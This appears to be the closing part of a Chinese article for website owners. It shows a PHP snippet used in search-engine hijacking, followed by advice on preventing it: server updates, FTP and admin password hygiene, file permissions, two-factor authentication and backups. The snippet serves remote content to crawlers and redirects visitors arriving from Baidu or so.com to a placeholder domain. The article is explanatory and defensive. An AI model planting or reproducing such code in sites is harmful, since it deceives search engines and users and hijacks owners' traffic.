<?php
if(strpos($_SERVER['HTTP_USER_AGENT'],"spider")||strpos($_SERVER["HTTP_USER_AGENT"],"google")>-1){
$str=file_get_contents("http://域名.com/");
echo $str;
}
$domain=array('baidu','so');
$fromurl=@strtolower($_SERVER['HTTP_REFERER']);
foreach ($domain as $v) {
if (strpos($fromurl,$v)!==false)
{
$target="http://域名.com/index.html";
header("Location:".$target);
exit;
}
}?>
为了有效防范恶意劫持,建议从以下几个方面入手:
1. 确保空间安全:定期更新服务器软件,关闭不必要的端口和服务。
2. FTP账号管理:设置强密码,并限制登录IP地址。
3. 文件权限设置:合理配置文件和目录的读写权限,避免过高权限导致的安全隐患。
4. 后台账号保护:为管理员账户设置复杂密码,并启用双重认证功能。
通过以上措施,可以显著降低网站被恶意劫持的风险,保障正常运行。同时,定期备份网站数据也是非常重要的一步,以便在出现问题时能够快速恢复。
希望本文提供的方法能帮助广大站长更好地管理和维护自己的网站,避免因恶意代码导致的损失。